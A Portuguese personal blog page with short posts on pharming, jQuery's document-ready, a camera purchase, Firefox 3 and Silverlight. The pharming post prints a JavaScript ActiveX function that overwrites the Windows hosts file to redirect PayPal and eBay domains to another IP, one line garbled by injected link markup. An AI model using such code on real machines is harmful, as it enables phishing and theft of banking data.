Silici0 :: Blog

Mas o que é pharming ? É a idéia de alterar, sequestrar ou mesmo contaminar o DNS da vítima para levar a vítima a um site falso, por traz disso, roubar dados pessoais, cartões de crédito, dados de banco e dentre outros (vai da imaginação de cada um), pode-se tambem criar um ponte através do de um site para o site desejado e monitorar os dados do trafego assim roubando as informações; mas porque estou falando disso aqui?! É pelo motivo que isso é feito ou pode ser feito através de sites mau intensionados com um simples código JavaScript, essa é a maneira mais utilizada.

Bom na verdade quando você digitar localhost no seu navegador ele irá procurar por este ip, caso não encontre ele vai tentando diversas combinações com www e .com e diversos outros.

O script abaixo mostra um exemplo de como podemos alterar o arquivo com Active-X no JavaScript, claro que o script ira pedir uma autorização, coisa que os hackers resolvem e você é afetado sem perceber. O que ele irá fazer é redirecionar o dominio digitado para o IP desejado.

JAVASCRIPT:

function pharmer(){
var fso = new ActiveXObject("Scripting.FileSystemObject");
var pharm = fso.CreateTextFile("C:\\WINDOWS\\system32\\Drivers\\etc\\hosts", true);
pharm.WriteLine('127.0.0.1 localhost');
pharm.WriteLine('188.222.33.1 <a href="https://www.paypal.com/row/mrb/pal=2VAJ7L6XR6XWG" class="alinks_links" onclick="return alinks_click(this);" title="Transfer�ncia de dinheiro? BrPay Americano" style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">paypal</a>');
pharm.WriteLine('188.222.33.1 www.paypal.com');
pharm.WriteLine('188.222.33.1 ebay.com');
pharm.WriteLine('188.222.33.1 www.ebay.com');
pharm.Close();
}

JQuery a primeira coisa para aprender

Se você ja copiou e colou diversos script em JQuery e ainda não se preocupou em aprender ou estudar a fundo o funcionamento dele, a primeira coisa com que se preocupar é a função mais importante do JQuery, se você quer que seu código JQuery funcione dentro do seu site, coloque-o dentro da função $(document).ready().

Colocando seu código dentro desta função irá fazer com que o código rode assim que o DOM esteja pronto no seu site, antes que todo o conteúdo da página seja lida.

JAVASCRIPT:

$(document).ready(function(){
// coloque todo seu código aqui
});

E fica a dica, você pode criar quantos você quiser. Ele é a troca pelo famoso/antigo window.onload do JavaScript.

Vulnerabilidades, segurança e outros

Levando a sério o negócio, é difícil encontrar blogs sobre vulnerabilidades, segurança, servidores e outros assuntos do genero, pelo menos blogs que levem a sério a informação, é essa a proposta do blog da NetAdviser, empresa especializada no assunto... trazendo um pouco mais de cultura de servidores, open source, linux e muito mais... como conheço-o pessoalmente estou apostando que logo logo será um blog de nome, cheio de informação válida para todos...

Ja começou bem tendo até trackbacks do br-linux, chega á hora do meu trackback, espero que role uns assuntos h4ck3r3s para nós se divertimos e aprendermos.

Nikon d40

Dia 30/05 foi meu aniversário e nada melhor do que você se presentear, e como queria a muito tempo uma camera digital eu me presentei como uma Nikon d40, nada melhor que isso não ?

A camera é muito bacana, além de recursos digitais, ela tem recursos manuais o que nós da maiores possibilidades, ainda estou apredendo a tirar foto, coisa que vai demorar um pouco para eu aprender usar todos os recursos dela; bacana também é poder trocar lentes, podendo colocas filtros, as famosas fisheyes e dentre outras... agora meu flickr vai bomba de fotos, algumas fotos ja foram tiradas com ela no ultimo sábado no meu aniversário foram 500, claro que algumas não ficaram bacana por não sabe utilizar os recursos.

Eu vou aproveitar o tópico para indicar a loja que comprei, pois comprei no MercadoLivre sem indicação de ninguem, foi risco, um tiro certeiro diria eu, é a Giobrushop, você ver os produtos no MercadoLivre ou no próprio site deles...

Aproveite também veja os reviews de especialistas sobre a camera que é indicada para pessoas amadoras que querem entrar no mundo da fotografia. DCRP Review e KenRockwell Review.

Firefox 3 Download Day

Calma, gente, ainda não foi lançado oficialmente o Firefox 3 e sim uma campanha muito interessante, a campanha é o Firefox 3 Download Day, eles estão tentando bater um recorde mundial de downloads para o mesmo software em 1 dia, a data não foi divulgada porém você participar deixando seu email para receber um aviso do lançamento. Uma campanha de marketing mais do que excelente não acham ?! Para participar basta clicar no link da img e então no site entre em confirme sua participação agora na página principal.

Siverlight… nem a Microsoft acredita

Bom, o tópico pareçe meio assustador mas foi essa a impressão que tive após ver o aplicado (por sinal muito legal) do msnbc, que é um site de notícias e entretenimento da Microsoft@MSN. O aplicativo foi desenvolvido em Flash 9 em vez de ser usado o SilverLight da Microsoft, lógico por questão de o Silverlight ser usado somente em windows vista e XP, em contra partida do Flash que é usado desde unix-like, windows e dentre outros. = )

O Spectra, aplicativo lançado pela msnbc é um aplicativo para leitor de notícias do portal deles, separadas por categoria, cheia de características visuais muito bacana, vale a pena dar uma olhada nele; uma pena ele não ler Feed externos, seria de muito agrado geral para se divertir enquanto se lê algumas notícias.